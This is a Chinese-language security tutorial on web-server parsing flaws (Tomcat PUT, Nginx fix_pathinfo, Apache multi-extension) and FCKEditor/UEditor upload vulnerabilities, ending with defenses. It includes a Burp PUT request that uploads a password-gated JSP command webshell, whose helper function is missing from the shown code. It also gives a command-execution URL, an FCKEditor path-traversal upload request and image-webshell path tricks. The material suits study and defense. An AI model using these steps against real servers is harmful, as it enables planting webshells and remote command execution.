解析漏洞与编辑器漏洞

解析漏洞与编辑器漏洞

一、概述

解析漏洞是指 Web 服务器(中间件)在处理文件请求时,由于自身解析规则的缺陷,导致非脚本文件被当作脚本执行的安全漏洞。利用解析漏洞,攻击者可以上传看似正常的图片文件,再通过特殊路径使其被解析为脚本,从而强行执行木马。

编辑器漏洞则是网站使用的在线编辑器(如 FCKEditor、UEditor 等)自身存在的安全缺陷,攻击者可直接利用编辑器的上传功能绕过校验,上传恶意脚本。

核心区别: 解析漏洞是”绕过服务器解析规则”,编辑器漏洞是”利用编辑器自身的上传缺陷”,两者可单独使用,也可组合利用。

二、解析漏洞

1. Tomcat PUT 漏洞(CVE-2017-12615)

漏洞背景

Tomcat 是 Java 编写的开源 Web 应用服务器。当 Tomcat 配置文件 web.xml 中设置了 readOnly=false(即允许 PUT 方法)时,攻击者可以通过 PUT 请求直接上传 JSP 文件到服务器,实现 RCE(远程代码执行)。

影响版本: Tomcat 7.0.0 – 7.0.79
前提条件: conf/web.xml 中配置了 readonly=false,启用了 PUT 方法

利用原理

Tomcat 默认禁止上传 JSP 等脚本文件,但可以通过在文件名后加 /(如 /1.jsp/)绕过限制。Tomcat 会将请求按 PUT 方法处理,将文件写入磁盘,末尾的 / 在文件保存时被忽略,最终生成 1.jsp 文件。

利用步骤

  1. 抓包:用 Burp Suite 拦截请求,将请求方法改为 PUT,发送到 Repeater(重放模块)。

  2. 修改请求:将请求路径改为 /1.jsp/(注意末尾的 /),请求体放入 JSP 木马。

    参考请求包如下:

    PUT /1.jsp/ HTTP/1.1
    Host: 192.168.49.128:8080
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 750
    
    
    <%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
    out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
    

    木马解析:

    • excuteCmd(String c):接收命令字符串,用 Runtime.getRuntime().exec() 执行系统命令
    • request.getParameter("pwd"):获取密码参数,此处密码为 023
    • request.getParameter("cmd"):获取要执行的命令
    • 验证通过后输出命令执行结果,否则输出 :-)
  3. 修改 Content-Length:请求体修改后,Content-Length 必须与请求体实际字节数一致,否则服务器会报错。Burp Suite 通常会自动更新该值,若未自动更新则需手动修改。

  4. 发送请求:点击 Send 发送请求,若返回 201 Created 或 200 OK,说明木马上传成功。

  5. 访问木马:浏览器访问上传的文件,传入密码和命令参数即可执行系统命令:

    http://192.168.49.128:8080/1.jsp?pwd=023&cmd=whoami
    
参数 含义
pwd 木马密码,此处为 023
cmd 要执行的系统命令,如 whoami、ipconfig、id 等

2. Nginx 解析漏洞

漏洞背景

Nginx 是用 C 语言编写的轻量级 Web 服务器,常与 PHP-FPM 配合使用。当 PHP 配置项 cgi.fix_pathinfo=1(默认开启)时,PHP 会尝试修正路径,导致非脚本文件被当作 PHP 解析执行。

前提条件: Nginx + PHP-FPM 架构,cgi.fix_pathinfo=1
漏洞本质: 并非 Nginx 自身漏洞,而是 Nginx 与 PHP-FPM 配合时的路径解析机制问题

利用原理

当访问 1.png/1.php 时:
1. Nginx 看到请求以 .php 结尾,将其交给 PHP-FPM 处理。
2. PHP-FPM 发现 1.png/1.php 不存在,触发 fix_pathinfo 机制,向前递归查找。
3. 最终找到 1.png 存在,PHP-FPM 将 1.png 当作 PHP 脚本解析执行。

利用步骤

  1. 上传图片马:制作图片马(图片文件 + PHP 一句话木马),以 .png 格式直接上传(如 123.png)。
  2. 构造解析路径:在图片路径后加上任意数字/名称和 .php,使 Nginx 交给 PHP-FPM 处理:
    http://target.com/123.png/456.php
    
路径组成 含义
123.png 实际存在的图片马文件
/ 路径分隔符,触发 PHP 向前查找
456.php 任意名称 + .php 后缀,使 Nginx 交给 PHP-FPM 处理
  1. 执行木马:PHP-FPM 将 123.png 当作 PHP 解析,其中的一句话木马被执行,可用蚁剑/菜刀连接。

注: / 后面的内容不需要真实存在,456 可以换成任意数字或字符串,关键是末尾的 .php 触发 PHP-FPM 处理,且 fix_pathinfo 机制向前找到真实存在的图片马。

3. Apache 解析漏洞

漏洞背景

Apache HTTP Server 是使用 C 语言编写的 Web 服务器。当 Apache 配置了 AddHandler application/x-httpd-php .php 时,会根据文件名中的后缀判断是否交给 PHP 处理。Apache 的解析规则是从右往左逐个识别后缀,遇到不认识的后缀就继续向左找,直到遇到可识别的后缀为止。

利用原理

以 webshell.php.png 为例:
1. Apache 从右往左解析:先看到 .png,不认识(不在 AddHandler 列表中),继续向左。
2. 看到 .php,认识(在 AddHandler 列表中),将其交给 PHP 处理。
3. PHP 解析执行文件中的木马代码。

利用步骤

  1. 上传木马文件:将 PHP 木马文件命名为 webshell.php.png(或其他多后缀形式),直接上传。
  2. 直接访问:上传成功后,直接访问该文件即可触发解析执行:
    http://target.com/webshell.php.png
    

    Apache 将其解析为 PHP 执行,木马生效。

常见多后缀形式:
– shell.php.png — 最常用
– shell.php.jpg — 同理
– shell.php.xxx.png — .xxx 为任意不可识别后缀

注: 此漏洞仅在 Apache 配置使用 AddHandler(而非 AddType)时触发。若使用 SetHandler 或 FilesMatch 严格匹配后缀,则不受影响。

三、编辑器漏洞

1. 概述

网站常集成在线编辑器(如 FCKEditor、CKEditor、UEditor、KindEditor 等)来提供富文本编辑功能。这些编辑器通常自带文件上传接口,若上传校验不严,攻击者可直接利用编辑器上传木马,绕过服务器主程序的防护。

常见编辑器及漏洞:

编辑器 常见漏洞 利用方式
FCKEditor 路径遍历上传、文件类型绕过 利用 /.. 目录穿越,或修改上传路径
UEditor SSRF、文件上传 利用 .js 后缀绕过,或利用 SSRF
KindEditor 文件上传绕过 利用 JSON 解析缺陷绕过文件类型校验
CKEditor 文件上传绕过 修改 CKEditorFuncNum 参数配合上传

2. FCKEditor 编辑器漏洞

漏洞背景

FCKEditor 是早期流行的 Web 编辑器,存在多个文件上传相关漏洞。其上传接口通常位于 /fckeditor/editor/filemanager/connectors/php/upload.php 等路径。

常见利用方式

a. 路径遍历上传

FCKEditor 的上传功能允许通过 CurrentFolder 参数指定上传目录,攻击者可以通过 ../ 目录穿越,将木马上传到可执行的 Web 目录:

POST /fckeditor/editor/filemanager/connectors/php/upload.php?Type=File&CurrentFolder=../../../

上传 PHP 木马后,通过遍历到的路径直接访问执行。

b. 文件类型绕过

FCKEditor 对文件类型的校验在客户端和后端不一致时,可抓包修改后缀绕过。常见绕过方式与文件上传漏洞相同(双写、大小写、特殊后缀等)。

3. UEditor 编辑器漏洞

漏洞背景

UEditor 是百度开发的 Web 编辑器,其 PHP 版本存在文件上传绕过和 SSRF 漏洞(CVE-2018-14731)。

常见利用方式

a. 文件上传绕过

UEditor 的图片上传接口可被利用上传恶意脚本。通过抓包修改文件后缀,或在文件名中构造特殊字符绕过校验:

POST /ueditor/php/controller.php?action=catchimage

b. SSRF 漏洞

UEditor 的 catchimage(远程图片抓取)功能未对 URL 进行严格校验,攻击者可构造恶意 URL 让服务器发起内网请求,实现 SSRF 攻击。

4. 编辑器漏洞通用利用思路

  1. 识别编辑器类型:通过页面源码、JS 引用路径、特征文件名等方式判断网站使用的编辑器。
  2. 定位上传接口:根据编辑器类型查找其默认上传路径(如 FCKEditor 的 /fckeditor/editor/filemanager/)。
  3. 测试上传校验:尝试上传不同后缀文件,观察校验方式(前端/后端/内容检测)。
  4. 绕过上传:根据校验方式选择对应的绕过方法。
  5. 执行木马:确认上传路径,配合解析漏洞或文件包含漏洞执行木马。

注: 编辑器漏洞的本质仍是文件上传漏洞,区别在于攻击入口是编辑器自带的上传接口,校验逻辑可能比主程序更弱。

四、速查总结

漏洞类型 利用形式 前提条件
Tomcat PUT PUT /1.jsp/ 上传 JSP 木马 Tomcat 7.0.0-7.0.79,readOnly=false
Nginx 解析 1.png/任意.php Nginx + PHP-FPM,cgi.fix_pathinfo=1
Apache 解析 shell.php.png 直接访问 Apache 配置 AddHandler
FCKEditor 路径遍历上传 网站集成 FCKEditor,上传接口可访问
UEditor 文件上传/SSRF 网站集成 UEditor,上传接口可访问

五、防御

1. 解析漏洞防御

  • Tomcat:升级到安全版本,关闭 PUT 方法(保持 readOnly=true)。
  • Nginx:设置 cgi.fix_pathinfo=0,或配置 try_files 确保文件存在才交给 PHP-FPM。
  • Apache:使用 SetHandler + FilesMatch 严格匹配后缀,避免使用 AddHandler。

2. 编辑器漏洞防御

  • 及时更新编辑器到最新版本。
  • 对上传接口进行独立的后端校验(后缀白名单 + 内容检测)。
  • 限制上传目录的执行权限(上传目录不解析脚本)。
  • 移除不必要的上传接口,关闭远程图片抓取功能。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇